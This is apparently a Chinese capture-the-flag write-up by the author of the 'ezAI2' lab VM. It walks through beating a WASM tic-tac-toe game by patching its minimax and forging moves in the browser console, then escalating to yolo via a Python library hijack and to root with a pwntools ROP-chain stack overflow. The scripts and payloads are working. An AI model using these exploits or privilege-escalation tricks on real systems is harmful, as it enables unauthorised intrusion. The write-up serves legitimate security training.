ezAI2
这是我给群里出的一个简单靶机(被非预期了,有点点遗憾,下次一定要好好检查
靶机百度网盘地址:通过网盘分享的文件:ezAI2.ova
链接: https://pan.baidu.com/s/1wJw3Bw4sbzFxTAkGzAEqPw?pwd=ee8d 提取码: ee8d
信息搜集
❯ rustscan -a 192.168.1.18 --ulimit 5000 -- -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Open ports, closed hearts.
[~] The config file is expected to be at "/home/yolo/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 192.168.1.18:22
Open 192.168.1.18:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV" on ip 192.168.1.18
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-26 18:03 CST
NSE: Loaded 47 scripts for scanning.
Initiating Ping Scan at 18:03
Scanning 192.168.1.18 [2 ports]
Completed Ping Scan at 18:03, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:03
Completed Parallel DNS resolution of 1 host. at 18:03, 0.16s elapsed
DNS resolution of 1 IPs took 0.16s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 18:03
Scanning 192.168.1.18 [2 ports]
Discovered open port 8080/tcp on 192.168.1.18
Discovered open port 22/tcp on 192.168.1.18
Completed Connect Scan at 18:03, 0.00s elapsed (2 total ports)
Initiating Service scan at 18:03
Scanning 2 services on 192.168.1.18
Completed Service scan at 18:03, 6.06s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.18.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:03
Completed NSE at 18:03, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:03
Completed NSE at 18:03, 0.00s elapsed
Nmap scan report for 192.168.1.18
Host is up, received conn-refused (0.00061s latency).
Scanned at 2026-02-26 18:03:14 CST for 6s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
8080/tcp open http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds
发现两个端口,关注 8080,是一个井字棋游戏
Tac Tic Toe
由于是选手先手,聪明的 ai 后手,几乎是赢不了的,这时候审计代码,发现整个游戏是利用 go 编译的 wasm 运行的,那个 wasm_exec.js 允许 Go 编译的 Wasm 模块在浏览器或 JavaScript 环境中运行,本题的漏洞在于,wasm 是本地执行(就是在浏览器运行的,不经过服务端,那么我们可以想办法在 wasm 文件内部打个恶意补丁,让 ai 变笨笨的,就能获胜
//这是那个wasm本地执行的相关初始化代码,可以了解看看
async function init() {
const result = await WebAssembly.instantiateStreaming(fetch("main.wasm"), go.importObject);
go.run(result.instance);
const resp = await fetch("/init");
const data = await resp.json();
sessionID = data.session_id;
document.getElementById('sid').innerText = sessionID;
// Initialize Wasm state
initGame(sessionID, data.seed);
// Ensure player turn is enabled
isPlayerTurn = true;
document.getElementById('status').innerText = "YOUR TURN (X)";
}
这里有两个方法获胜
方法一
将 wasm 反编译出来,并且打上恶意补丁:
❯ wasm2wat main.wasm -o main.wat
针对 go 编译的二进制逆向分析,我优先建议全局查找这个(func $main.真正有用的函数都会有main.这样的前缀
可以看到,共有以下七个关键函数(前面是行数,大家如果都用最新的 wasm2wat,反编译出来的信息应该是一样的
776821 (func $main.main (type 0) (param i32) (result i32)
777515 (func $main.initGame (type 0) (param i32) (result i32)
778097 (func $main.updateProof (type 0) (param i32) (result i32)
778902 (func $main.getCurrentProof (type 0) (param i32) (result i32)
779325 (func $main.getAIMove (type 0) (param i32) (result i32)
779786 (func $main.minimax (type 0) (param i32) (result i32)
780429 (func $main.checkWinner (type 0) (param i32) (result i32)
已经很好看了,之前碰到相关的,连函数名都混淆了,可以留意下那个 minimax,在机器学习中,这个 minimax 算法是经常能见到的策略算法:通过选择最优策略以最小化最大潜在损失的决策算法
举个小例子,下面是让 ai 生成的一份伪代码
function minimax(board, depth, isMaximizing):
# 1. 检查胜负状态
winner = checkWinner(board)
# 如果有人赢了或平局,返回评分
# AI 赢(玩家2): +10 - 步数
# 人类赢(玩家1): 步数 - 10
if winner == AI:
return 10 - depth
if winner == HUMAN:
return depth - 10
if board_is_full():
return 0
# 2. 递归搜索
if isMaximizing: # AI 的回合 (尝试最大化分数)
bestScore = -10000
for each cell in board:
if cell is empty:
cell = AI # 模拟落子
score = minimax(board, depth + 1, False)
cell = empty # 撤销落子
bestScore = max(score, bestScore)
return bestScore
else: # 人类的回合 (尝试最小化分数)
bestScore = 10000
for each cell in board:
if cell is empty:
cell = HUMAN # 模拟落子
score = minimax(board, depth + 1, True)
cell = empty # 撤销落子
bestScore = min(score, bestScore)
return bestScore
简述下 minimax 策略:
- 在 minimax 算法中,AI 要最大化自己的得分
- AI 的初始分数设为-10000,可以确保第一个合法走法一定会更新这个值
- AI 试图找到让分值最高的移动,而它假设选手会采取让选手自己最有利(对 AI 最不利)的移动
这里我们只需要想办法让 ai 变笨即可
AI 的初始分在 780023 行定义:i64.const -10000
AI 的相关策略,比如说下一步的分数如果比其它步的分数更高,会选择那一步的相关判断在 780067 行定义:i64.lt_s
让 ai 变笨的方法很简单,第一,如果我们将初始分数改为 10000,第二,我们再让下一步选择分数最小的那个步骤,这样做可以让 ai 从最优策略改变成最差策略,对应的汇编代码调整分别是i64.const 10000,i64.gt_s,切记,一定要在我上面标注的行数上进行编辑,请参考下图我打的断点对应的部分

接下来利用wat2wasm ./main.wat -o main_patched.wasm 将 wat 文件编译成 wasm

可以在 Dev->源代码中启用本地替换,接下来刷新下,随意走三步即可,可以拿到一组有效用户凭据ttt:1q2w3e4r@Dashazi
方法二
这其实也算是个逆向题,我们可以动态调试,将 wasm 的下过的棋子通过内存覆盖进行修改(可以说的再直白点,我们不让 ai 下棋,我们帮它下,这样做的话可以不走 wasm 的那个 minimax 策略
成功原因:WebAssembly 和 JavaScript 之间共享内存
关于我上面说的那个我们帮 ai 下棋也很好绕过,我们可以不断通过 updateProof 获取正确的 proof,反正 wasm 内部也不会在意,到底是自己的 minimax 选的步数,还是被选手恶意利用,只要 proof 能算的过去就可以了

这是一份 exp.js,直接在控制台运行即可
(async () => {
await new Promise(r => setTimeout(r, 1000));
const wasmInstance = go._inst;
if (!wasmInstance) {
console.error("[!] Wasm instance not found. Make sure the game is loaded.");
return;
}
const mem = new Uint8Array(wasmInstance.exports.mem.buffer);
console.log("[*] Memory size:", mem.length);
board = [0, 0, 0, 0, 0, 0, 0, 0, 0];
moves = [];
gameOver = false;
isPlayerTurn = true;
const winningMoves = [
{ pos: 0, player: 1 },
{ pos: 1, player: 2 },
{ pos: 4, player: 1 },
{ pos: 3, player: 2 },
{ pos: 6, player: 1 },
{ pos: 5, player: 2 },
{ pos: 2, player: 1 }
];
for (let i = 0; i < winningMoves.length; i++) {
const move = winningMoves[i];
board[move.pos] = move.player;
moves.push(move.pos);
updateProof(move.pos, i);
console.log(`[*] Move ${i + 1}: Player ${move.player} at position ${move.pos}`);
}
updateUI();
console.log("[*] Final board state:", board);
console.log("[*] Moves sequence:", moves);
if (checkWin(1)) {
console.log("[+] Win condition detected!");
console.log("[*] Triggering win handler...");
await handleWin();
} else {
console.error("[!] Win condition not met. Something went wrong.");
}
})();
这是流程图,供大家理解
graph TD
A[开始注入] --> B[等待 1s 确保 Wasm 加载]
B --> C{获取 Wasm 实例}
C -- 失败 --> D[报错并退出]
C -- 成功 --> E[重置 JS 层游戏状态<br/>board, moves, gameOver]
E --> F[定义预设的获胜序列<br/>winningMoves]
subgraph 核心循环: 伪造对弈记录
F --> G[遍历 winningMoves]
G --> H[更新 JS 棋盘 board]
H --> I[记录走法 moves.push]
I --> J[调用 Wasm 导出函数<br/>updateProof pos, index]
J -- 循环直至结束 --> G
end
G --> K{检查 JS 胜负判定}
K -- 胜负不匹配 --> L[打印错误]
K -- 胜负匹配 --> M[调用异步函数 handleWin]
subgraph 最终验证: 提交服务器
M --> N[调用 getCurrentProof]
N --> O[发送 POST /win<br/>携带 ID, moves, proof]
O --> P{服务器校验}
P -- 通过 --> Q[获取 Flag!]
P -- 失败 --> R[校验未通过]
end
控制台运行结束后的样子,棋谱是我自定义的,这个可以看选手心情

方法三、四、五
本题还有很多方法 solve,比如说,我们可以通过彻底反编译 wasm,获取 proof 算法,这样的话,我们可以直接强行算一份正确的棋谱以及对应的证明值,不过显然,这个方法要很难很难;或者说完整的反编译后,强行获取到对应的 flag 获取机制进行后台模拟;还有,如果说 wasm 不会校验 proof 来自 ai 还是选手,我们可以直接将 ai 的 proof 提交上去过验证也可以(这个方法好像是被我 ban 了,但是下面博客链接里面说的那个题目,我用这个方法是成功了的)……
方法一只需要大致浏览汇编代码,了解 ai 的优化策略即可
方法二需要熟练了解 wasm 与一些 js 文件的接口交互
针对这两个方法,可以参考我的博客文章,是我前段时间碰到的一个有意思的题目:https://yo1o.top/post/pragyan-ctf/#tac-tic-toe
最好的方法(来自夜神
审计 JS,看到前端 AI 移动是调用后台的 getAIMove 函数,我们直接控制台劫持,创建一个固定移动函数即可,每次前台都会调用一次伪造的 getAIMove
//参考js代码,来自夜神
getAIMove = function(b) {
for (let i = 8; i >= 0; i--) {
if (b[i] === 0) return i;
}
return 0;
};
使用效果

被非预期了,我 web 还是没掌握好,下次一定要出个难点的
get yolo shell
通过 Tac Tic Toe 游戏,我们拿到 ttt 用户的登录凭据ttt:1q2w3e4r@Dashazi
ttt@ezAI2:~$ cat user.txt
flag{7f0a4a443fbb44179219......}
直接获取 user flag
查看 sudo 权限,发现这里可以无密码去执行 yolo 用户的一份 py 文件
ttt@ezAI2:~$ sudo -l
Matching Defaults entries for ttt on ezAI2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ttt may run the following commands on ezAI2:
(yolo) NOPASSWD: /usr/bin/python3 /opt/greeting.py
关于 py 文件的提权,常见的无非就是覆盖文件,或者是进行 python 库劫持
前者自然是文件可编辑,后者就是要求对应 py 文件路径下可以创建文件
ttt@ezAI2:/opt$ ls -la
total 16
drwxrwxrwt 3 root root 4096 Feb 26 02:08 .
drwxr-xr-x 18 root root 4096 Mar 18 2025 ..
drwxr-xr-x 3 www-data www-data 4096 Feb 26 01:13 challenge
-rw-r--r-- 1 yolo yolo 2837 Feb 26 01:57 greeting.py
ttt@ezAI2:/opt$ cat greeting.py
import datetime
import random
def get_current_time():
now = datetime.datetime.now()
time_formats = {
'standard': now.strftime("%Y-%m-%d %H:%M:%S"),
'chinese': now.strftime("%Y年%m月%d日 %H时%M分%S秒"),
'simple': now.strftime("%H:%M:%S"),
'date_only': now.strftime("%Y/%m/%d"),
'weekday': now.strftime("%A"),
}
weekdays_cn = {
'Monday': '星期一',
'Tuesday': '星期二',
'Wednesday': '星期三',
'Thursday': '星期四',
'Friday': '星期五',
'Saturday': '星期六',
'Sunday': '星期日'
}
time_formats['weekday_cn'] = weekdays_cn[time_formats['weekday']]
return time_formats
def get_random_welcome():
welcomes = [
"🌟 欢迎来到这个奇妙的Python世界!",
"🌈 祝您今天心情愉快,代码无Bug!",
"☕ 来,喝杯咖啡,享受编程的乐趣!",
"🚀 准备起飞,让我们开始编程吧!",
"🎉 哇!又见到您啦,真高兴!",
"💡 今天的您一定会有新的灵感!",
"✨ 愿代码与您同在,愿Bug远离您!",
"🌞 美好的一天从运行Python开始!",
"🎯 保持专注,实现目标!",
"🤖 我是您忠实的Python助手!"
]
return random.choice(welcomes)
def get_time_greeting(hour):
if 5 <= hour < 12:
return "早上好"
elif 12 <= hour < 14:
return "中午好"
elif 14 <= hour < 18:
return "下午好"
elif 18 <= hour < 22:
return "晚上好"
else:
return "夜深了,注意休息"
def main():
print("=" * 50)
time_info = get_current_time()
current_hour = datetime.datetime.now().hour
print(f"{' 时间显示程序 ':*^50}")
print("=" * 50)
print(f"📅 标准时间:{time_info['standard']}")
print(f"📆 中文时间:{time_info['chinese']}")
print(f"⏰ 简单时间:{time_info['simple']}")
print(f"📌 当前日期:{time_info['date_only']}")
print(f"🗓️ 今天是:{time_info['weekday_cn']}")
print("-" * 50)
greeting = get_time_greeting(current_hour)
print(f"👋 {greeting}!")
print(f"{get_random_welcome()}")
print("-" * 50)
print("💝 今日小贴士:")
tips = [
"多喝水,保持健康!",
"记得定时站起来活动一下",
"代码写累了就看看远方",
"保持好奇心,持续学习",
"分享知识会让快乐加倍"
]
print(f" {random.choice(tips)}")
print("=" * 50)
print(r"""
/)/)
(o.o)
>^<
""")
if __name__ == "__main__":
main()ttt@ezAI2:/opt$
ttt@ezAI2:/opt$ sudo -u yolo /usr/bin/python3 /opt/greeting.py
==================================================
********************* 时间显示程序 *********************
==================================================
📅 标准时间:2026-02-26 11:33:16
📆 中文时间:2026年02月26日 11时33分16秒
⏰ 简单时间:11:33:16
📌 当前日期:2026/02/26
🗓️ 今天是:星期四
--------------------------------------------------
👋 早上好!
🌞 美好的一天从运行Python开始!
--------------------------------------------------
💝 今日小贴士:
多喝水,保持健康!
==================================================
/)/)
(o.o)
>^<
很显然,这里是 python 库劫持,因为这里的/opt 下,任意用户都可以写,至于那个 py 文件,完全属于 yolo,ttt 只能看不能写
关于 python 库劫持,可以看看 ai 的回答

观察到这里的greeting.py第一步是import datetime,那么我们直接创建datetime.py写入我们自己的恶意代码
ttt@ezAI2:/opt$ nano datetime.py
ttt@ezAI2:/opt$ cat datetime.py
import os
os.system('/bin/sh')
ttt@ezAI2:/opt$ sudo -u yolo /usr/bin/python3 /opt/greeting.py
$ id
uid=1001(yolo) gid=1001(yolo) groups=1001(yolo)
$
to root
这里的提权,我参考了 thl 的york 靶机,那是一台完全的 pwn 靶机,正好,大家平时见了很多 sudo 或 suid 提权,这个 pwn 提权还算蛮新的
在 yolo 家目录下,能看到一个 elf 文件,而且它属于 root 用户组
ttt@ezAI2:/opt$ sudo -u yolo /usr/bin/python3 /opt/greeting.py
$ bash
yolo@ezAI2:/opt$ id
uid=1001(yolo) gid=1001(yolo) groups=1001(yolo)
yolo@ezAI2:/opt$ cd
yolo@ezAI2:~$ ls -la
total 40
drwxr-xr-x 2 yolo yolo 4096 Feb 26 02:41 .
drwxr-xr-x 4 root root 4096 Feb 26 01:39 ..
-rw-r--r-- 1 yolo yolo 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 yolo yolo 3593 Feb 26 02:40 .bashrc
-rw-r--r-- 1 yolo yolo 807 Apr 18 2019 .profile
-rwxr-x--- 1 root yolo 17584 Feb 26 02:19 waityou
yolo@ezAI2:~$ file waityou
waityou: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1c2594cd6ab581fe9845ca56e3aa383739113557, for GNU/Linux 3.2.0, not stripped
yolo@ezAI2:~$ ./waityou
bind: Address already in use
yolo@ezAI2:~$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 20 127.0.0.1:9999 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 *:8080 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
yolo@ezAI2:~$ ps aux | grep waityou
root 337 0.0 0.0 2228 556 ? Ss 10:02 0:00 /home/yolo/waityou
yolo 966 0.0 0.0 6176 640 pts/0 S+ 12:36 0:00 grep waityou
当我们想执行 elf 文件的时候,发现报错,端口被占用,查看了下运行端口,那个本地监听的 9999 很稀奇,可以尝试连接下(查看进程也能判断,它早就被 root 用户执行了
可惜,本地没有 nc,这里有多种方式解决
- 用 ssh 隧道连接
先保存本地的 ssh 密钥到那个 yolo 用户下的.ssh 中,重新连接,一定要走 ssh 隧道ssh -L 8888:127.0.0.1:9999 yolo@192.168.1.18
❯ ssh -L 8888:127.0.0.1:9999 yolo@192.168.1.18 -i ezai
Linux ezAI2 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Feb 26 11:54:08 2026 from 192.168.1.9
yolo@ezAI2:~$
# 重开终端
❯ nc 127.0.0.1 8888
>>> Initializing romantic link...
>>> [LOG] 「私、幸せになる勇気がなかったの。」
>>> Enter Access Code: aaaaaa
Ncat: Broken pipe.
看得出来,这里会等待输入内容,具体的还需要进行逆向分析,已经可以猜测到了,这里也许考察 pwn 的栈溢出,甚至是 ROP 链覆盖
- 使用类似 chisel 的工具进行端口转发
# 靶机
yolo@ezAI2:~$ ./chisel server -p 8000
2026/02/26 12:19:29 server: Fingerprint eiUOND5HyJVM/uxS5I/ceKLcAT+UeMCDBtVFVGa2srg=
2026/02/26 12:19:29 server: Listening on http://0.0.0.0:8000
# 本地wsl
❯ ./chisel client 192.168.1.18:8000 8887:127.0.0.1:9999
2026/02/27 01:20:34 client: Connecting to ws://192.168.1.18:8000
2026/02/27 01:20:34 client: tun: proxy#8887=>9999: Listening
2026/02/27 01:20:34 client: Connected (Latency 691.265µs)
# 本地wsl新开终端
❯ nc 127.0.0.1 8887
>>> Initializing romantic link...
>>> [LOG] 「私、幸せになる勇気がなかったの。」
>>> Enter Access Code:
方法和工具很多,不再多说,接下来进行逆向分析
main 函数属于一个网络端程序,主要做以下几件事:
- 创建 socket 监听本地 9999 端口
- 接受客户端连接
- 每个连接都会创建子进程处理
经常玩 pwn 的应该会对函数中的 system 调用系统函数敏感一些

向下审计,查看 vuln 函数(漏洞的英文哇…
ssize_t __fastcall vuln(int a1)
{
int v1; // eax
_QWORD v3[6]; // [rsp+10h] [rbp-70h]
_BYTE buf[64]; // [rsp+40h] [rbp-40h] BYREF
dup2(a1, 0);
dup2(a1, 1);
dup2(a1, 2);
v3[0] = &unk_402008;
v3[1] = &unk_402040;
v3[2] = &unk_4020A0;
v3[3] = &unk_402100;
v3[4] = &unk_402140;
puts(">>> Initializing romantic link...");
v1 = rand();
printf(">>> %s", (const char *)v3[v1 % 5]);
printf(">>> Enter Access Code: ");
fflush(stdout);
return read(0, buf, 256u);
}
这里的 buf 缓冲区只有 64 字节大小,但是最后会一次性 read 256 字节,远远超过 buf 大小,很显然的一种栈溢出或其它漏洞
❯ checksec waityou
[*] '/home/yolo/timus/waityou'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
可以先按照栈溢出进行操作,但是发现很关键的问题,整个二进制貌似查找不到后门程序(因为我没写
接下来查看字符串的时候,可以看到这里.data:00000000004040E3 0000001E C may be she is wait for you!!!

继续追进,可以看到数据块
.data:00000000004040E0 public hints
.data:00000000004040E0 hints db 73h ; s
.data:00000000004040E1 db 68h ; h
.data:00000000004040E2 db 0
.data:00000000004040E3 db 6Dh ; m
.data:00000000004040E4 db 61h ; a
.data:00000000004040E5 db 79h ; y
.data:00000000004040E6 db 20h
.data:00000000004040E7 db 62h ; b
.data:00000000004040E8 db 65h ; e
.data:00000000004040E9 db 20h
.data:00000000004040EA db 73h ; s
.data:00000000004040EB db 68h ; h
.data:00000000004040EC db 65h ; e
.data:00000000004040ED db 20h
.data:00000000004040EE db 69h ; i
.data:00000000004040EF db 73h ; s
.data:00000000004040F0 db 20h
.data:00000000004040F1 db 77h ; w
.data:00000000004040F2 db 61h ; a
.data:00000000004040F3 db 69h ; i
.data:00000000004040F4 db 74h ; t
.data:00000000004040F5 db 20h
.data:00000000004040F6 db 66h ; f
.data:00000000004040F7 db 6Fh ; o
.data:00000000004040F8 db 72h ; r
.data:00000000004040F9 db 20h
.data:00000000004040FA db 79h ; y
.data:00000000004040FB db 6Fh ; o
.data:00000000004040FC db 75h ; u
.data:00000000004040FD db 21h ; !
.data:00000000004040FE db 21h ; !
.data:00000000004040FF db 21h ; !
.data:0000000000404100 db 0
.data:0000000000404101 db 0
我直接写出来我定义的 hints 变量char hints[] = "sh\0may be she is wait for you!!!";
对于 c 语言的读取函数来说,它们一般会在遇到的第一个\0(空字符)时停止读取,所以说这里的 hints 我们完全可以利用,设计一个 ROP 链进行攻击,对了,关于 ROP 链,这是相关介绍

通过上面的 hint,我们已经拿到其中一个关键信息:sh_addr=0x4040E0
接下来查找一个干净点的寄存器,需要寄存那个 hints 的地址给 system,差不多长这样 system(hints)
❯ ROPgadget --binary waityou | grep "pop rdi ; ret"
0x000000000040123e : add bl, bpl ; mov ss, word ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; ret
0x000000000040123f : add bl, ch ; mov ss, word ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; ret
0x0000000000401244 : mov ebp, esp ; pop rdi ; ret
0x0000000000401243 : mov rbp, rsp ; pop rdi ; ret
0x0000000000401241 : mov ss, word ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; ret
0x0000000000401246 : pop rdi ; ret
0x0000000000401242 : push rbp ; mov rbp, rsp ; pop rdi ; ret
就选择0x0000000000401246 : pop rdi ; ret这一条了
简述下原理,当我们通过溢出将返回地址覆盖成0x401246时,程序执行流程如下:
-
pop rdi,并把它存入 RDI 寄存器,如果我们在栈上紧跟着地址0x401246后面,摆放好 hints 的地址,这样的话 pop 会帮我们将 hints 地址压进 RDI 中 -
ret pop 后,会继续执行 ret,它的逻辑就是从栈顶再弹出一个地址,并跳过去,如果我们在后面写上 system 的地址,它就会将hints充当参数提供给 system 执行,就能拿到我们想要的 sh 了
ok,第二条关键数据pop_rdi_ret=0x401246
❯ objdump -d waityou | grep "system@plt"
0000000000401050 <system@plt>:
40142d: e8 1e fc ff ff call 401050 <system@plt>
这就是那个 system 函数,地址是0x401050
接下来我们需要找一个合适的 ret,因为在高系统中,CPU 要求栈顶地址必须是 16 字节对齐的,如果我们构造的 payload 到最后一步 system 的时候,让栈指针 RSP 停在一个不能被 16 整除的地方,会触发段错误,这个时候我们只要提前将返回地址先放到 ret 上,就能确保后面的操作都是对齐的
❯ ROPgadget --binary waityou | grep " : ret$"
0x0000000000401016 : ret
拿到第四块关键数据ret=0x401016
缺少最后一个关键信息,就是这里的输入 padding 长度具体是多少?
在 64 位程序中,栈帧的结构通常是:
[ 局部变量 ] -> [ 保存的 RBP ] -> [ 返回地址 (RIP) ]
回顾上面的 vuln 函数:_BYTE buf[64]; // [rsp+40h] [rbp-40h] BYREF,我们需要利用的 buf 位于[rbp-40h],这意味着:
- 从 buf 的起始地址到 rbp 的距离是 0x40 字节(64 字节)
- rbp 本身占用 8 字节
- padding 总长度是
64+8=72字节
完成一个 padding,紧跟其后的就是下一个返回地址,我们这里先返回到 ret 地址,保证栈对齐,接着返回到 pop 地址,确保能保存下面的 sh 命令地址,保存完 sh 命令地址后,又出现一个 ret 确保栈对齐(这个 ret 就来自0x0000000000401246 : pop rdi ; ret,然后返回到 system 函数进行调用,嗯,这就是整个 ROP 链
脚本如下:
from pwn import *
HOST = "127.0.0.1"
PORT = 8888
context.arch = "amd64"
context.os = "linux"
context.log_level = "info"
POP_RDI_RET = 0x401246
SYSTEM_PLT = 0x401050
HINTS_ADDR = 0x4040e0
RET_GADGET = 0x401016
OFFSET = 72
def build_payload() -> bytes:
padding = b"A" * OFFSET
rop_chain = flat(
RET_GADGET,
POP_RDI_RET,
HINTS_ADDR,
SYSTEM_PLT,
)
return padding + rop_chain
def pwn():
payload = build_payload()
log.info(f"Connecting to {HOST}:{PORT} ...")
io = remote(HOST, PORT)
io.recvuntil(b"Enter Access Code: ")
log.info(f"Sending payload ({len(payload)} bytes) ...")
io.send(payload)
log.success("Successfully!!!")
io.interactive()
if __name__ == "__main__":
pwn()
这里使用 8888 端口是因为我利用的前面 ssh 隧道,如果仔细观察靶机内部的话,会有惊喜的,我直接将 pwntools 的 python 库安装上去了
❯ python exp.py
[*] Connecting to 127.0.0.1:8888 ...
[+] Opening connection to 127.0.0.1 on port 8888: Done
[*] Sending payload (104 bytes) ...
[+] Successfully!!!
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /root/root.txt
flag{4c00347e1f124840bc0a0.......}
喜欢的话,留下你的评论吧~